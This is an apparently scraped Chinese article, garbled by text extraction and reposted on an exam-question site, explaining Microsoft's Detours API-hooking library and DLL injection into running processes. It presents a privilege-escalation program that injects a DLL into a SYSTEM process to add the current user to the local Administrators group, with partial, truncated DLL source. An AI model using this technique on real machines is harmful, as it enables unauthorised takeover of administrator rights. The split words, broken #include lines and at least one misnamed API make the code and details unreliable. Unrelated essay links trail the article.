关键词不能为空

当前您在: 主页 > 英语 >

关于Detours的一些介绍(出处不详)

作者:高考题库网
来源:https://www.bjmy2z.cn/gaokao
2021-02-22 15:46
tags:

-

2021年2月22日发(作者:住院医师)


关于


Detours


的一些介绍


(


出处不详


)







--- Detours


是微软开发的一个函数库(源代码可在


/sn/detours


免费获得)


,


用于修改


运行中的程序在内存中的影像,从而即使没有源代码也能改


变程序的行为。具 体用途是:



拦截


WIN32 API


调用,将其


引导到自己的子程序,从而实现

WIN32 API


的定制。





为一个已在运行的进程创建一新线程,装入自己的代码并运< /p>


行。





----


本文将简介


Detours


的原理,


Detours


库函数的用法 ,




利用


D etours


库函数在


Windows


NT


上编写了一个程序,该程序能使有“调试程序”的用户


权 限的用户成为系统管理员,附录利用


Detours


库函数修改


该程序使普通用户即可成为系统管理员



(在


NT4 SP3


上)




一.



Detours


的原理



---- 1




WIN32


进程的内存管理



----


总所周知,


WINDOWS NT


实现了虚拟


存储器,每一


WIN3 2


进程拥有


4GB


的虚存空间,



关于


WIN32


进 程的虚存结构及其操作的具体细节请参阅


WIN32


API


手册,



以下仅指出与


Detours


相关的几点:

< br>


---- (1)



程要执行的指令也放在虚存空间中





---- (2)


可以使用


QueryProtectEx


函数把存放 指令的页面的权


限更改为可读可写可执行,再改写其内容,从而修改正在运


行的程序





---- (3)


可以使用


Virt ualAllocEx


从一个进程为另一正运行的


进程分配虚存 ,


再使用



QueryProtect Ex


函数把页面的权限更


改为可读可写可执行,并把要执行的指 令以二进制机器码的


形式写入,从而为一个正在运行的进程注入任意的代码



----


2




拦截


WIN32 API


的原理



---- Detours


定义了三个概念:



---- (1) Target


函数:


要拦截的函数,


通常为


Windows



API






---- (2) Trampo line


函数:


Target


函数的复 制品。因为


Detours


将会改写


T arget


函数,所以先把


Target


函数复制保存好,一


方面仍然保存


Target


函数的过程调用语义,另一方面便于以


后的恢复。





---- (3) Detour


函数:用来替代


Target


函数的函 数。



----


Detours



Target


函数的开头加入

< p>
JMP Address_of_ Detour_


Function< /p>


指令(共


5


个字节)把对


Target


函数的调用引导到


自己的


Detour


函数,




Target


函数的开头的


5


个字节加上


JMP


Address_of_ Target _ Function+5


作为


Trampol ine


函数。例子


如下:



拦截前:


Target _ Function









Target


函数入口,


以下为假想的常见 的子程序入口代码







push




ebp






mov




ebp,




esp






push




eax






push




ebx






Trampoline:






;以下是


Target


函数的继续部分







……拦截后:



Target _ Function








jmp




Detour_Function






Trampoline:






;以下是


Target


函数的继续部分







……




Trampoline_Function:







; Trampoline


函数入口


,


开头的


5


个字节与

Target


函数相








push




ebp






mov




ebp,




esp






push




eax






push




ebx






;跳回 去继续执行


Target


函数







jmp




Target_Function+5



---- 3




为一个已在运行的进程装入一个


DLL ----


以下是其


步骤:



---- (1)


创建一个


Thre adFuction


,内容仅是调用


LoadLibrary< /p>






---- (2)



Virtual AllocEx


为一个已在运行的进程分配一片虚


存,并把权限 更改为可读可写可执行。





---- (3)



ThreadF uction


的二进制机器码写入这片虚存。





---- (4)



CreateRemoteThread


在该进程 上创建一个线程,



入前面分配的虚存的起始地址作为线程函数 的地址,即可为


一个已在运行的进程装入一个


DLL

< p>


通过


DllMain


即可在一


个已在运行的进程中运行自己的代码。



二.



Detours


库函数


的用法



---- < /p>


因为


Detours


软件包并没有附带帮 助文件,以下


接口仅从剖析源代码得出。



---- 1




PBYTE WINAPI


DetourFindFunction(PCHAR pszModule, PCHAR pszFunction)


----


功能:从 一


DLL


中找出一函数的入口地址





----


参数:


pszModule



DLL


名,


pszFunction


是函数名 。





----


返回:名为


pszModu le



DLL


的名为

< br>pszFunction


的函


数的入口地址





----


说明:


DetourFindFunction


除使用


GetProcAddress


外,


直接分析


DLL


的文件头,


因此可以找到一些


GetProcAddress

< br>找不到的函数入口。



----


2




DETOUR_TRAMPOLINE(trampoline_prototype,


target_name)




----


功能:该宏把名为


target_name

< br>的


Target


函数生成


Tra mpoline


函数,


以后调用



trampoline_prototype


在语义上等

< p>
于调用


Target


函数。



---- 3




BOOL WINAPI


DetourFunctionWithTrampoline(PBYTE pbTrampoline, BYTE


pbDetour)




----


功能:用


Detour


函数拦截


Target


函数





----


参数:


pbTrampoline



DETOUR_TRAMPOLINE


得到的


trampoli ne_prototype



pbDetour




Detour


函数的入口地址。



---- 4




BOOL WINAPI


DetourRemoveWithTrampoline(PBYTE pbTrampoline,PBYTE


pbDetour)




----


功能:恢复


Target


函数





----


参数:


pbTrampoline



DETOUR_TRAMPOLINE


得到的


trampoli ne_prototype



pbDetour




Detour


函数的入口地址。



---- 5




BOOL WINAPI ContinueProcessWithDll(HANDLE


hProcess, LPCSTR lpDllName)




----


功能:为一个已在运行的进程装入一个


DLL




----


参数:


hProcess


是进程的句柄,

lpDllName


是要装入的


DLL



三.



程序实例



----


以一个能使有“调试程序”的


用户权限的用户成为系统管理员的程序做例子说明


Detours


库函数的用法。


程序 的设计思路是找一个以


System


帐号运行

< br>的进程,如


, , ,



等,< /p>


使用


ContinueProcessWithDll

< p>
在其中注入把当


前用户加入到


< br>Administrators


本地组的


DLL


,因为该


DLL


在这些进程的安


全上下文环境运行,


所以有相应的权限。



----


先编写相应的


DLL




/*,


当进程装入时会把名为


szAccountName






的用户加入到


Administrators


本地组。


*/#include




#include




#include




#include /*


以下创建一共享段实现进程间的数据通讯,







szAccountName


是用户名,

bPrepared


说明







szA ccountName


是否已初始化。


*/#pragma


data_seg(



BOOL bPrepared=FALSE;



wchar_t szAccountName[100]={0};



#pragma data_seg()#pragma comment(linker,



程序调用

< br>SetAccountName


设置要加入到


Admin istrators






本地组的用户名,并通知


DllMain






已初始化


szAccountName








以后被装入时可调用


ElevatePriv */__declspec(dllexport)


VOID WINAPI






SetAccountName(wchar_t *Name)



{



wcscpy(szAccountName,Name);



bPrepared=TRUE;



}/*


把名为


szAccountName

的用户加入








Adm inistrators


本地组


*/__declspec(d llexport) VOID


WINAPI ElevatePriv()



{



LOCALGROUP_MEMBERS_INFO_3 account;



3_domainandname=szAccountName;



NetLocalGroupAddMembers(NUL L,L


-


-


-


-


-


-


-


-



本文更新与2021-02-22 15:46,由作者提供,不代表本网站立场,转载请注明出处:https://www.bjmy2z.cn/gaokao/669307.html

关于Detours的一些介绍(出处不详)的相关文章

  • 爱心与尊严的高中作文题库

    1.关于爱心和尊严的作文八百字 我们不必怀疑富翁的捐助,毕竟普施爱心,善莫大焉,它是一 种美;我们也不必指责苛求受捐者的冷漠的拒绝,因为人总是有尊 严的,这也是一种美。

    小学作文
  • 爱心与尊严高中作文题库

    1.关于爱心和尊严的作文八百字 我们不必怀疑富翁的捐助,毕竟普施爱心,善莫大焉,它是一 种美;我们也不必指责苛求受捐者的冷漠的拒绝,因为人总是有尊 严的,这也是一种美。

    小学作文
  • 爱心与尊重的作文题库

    1.作文关爱与尊重议论文 如果说没有爱就没有教育的话,那么离开了尊重同样也谈不上教育。 因为每一位孩子都渴望得到他人的尊重,尤其是教师的尊重。可是在现实生活中,不时会有

    小学作文
  • 爱心责任100字作文题库

    1.有关爱心,坚持,责任的作文题库各三个 一则150字左右 (要事例) “胜不骄,败不馁”这句话我常听外婆说起。 这句名言的意思是说胜利了抄不骄傲,失败了不气馁。我真正体会到它

    小学作文
  • 爱心责任心的作文题库

    1.有关爱心,坚持,责任的作文题库各三个 一则150字左右 (要事例) “胜不骄,败不馁”这句话我常听外婆说起。 这句名言的意思是说胜利了抄不骄傲,失败了不气馁。我真正体会到它

    小学作文
  • 爱心责任作文题库

    1.有关爱心,坚持,责任的作文题库各三个 一则150字左右 (要事例) “胜不骄,败不馁”这句话我常听外婆说起。 这句名言的意思是说胜利了抄不骄傲,失败了不气馁。我真正体会到它

    小学作文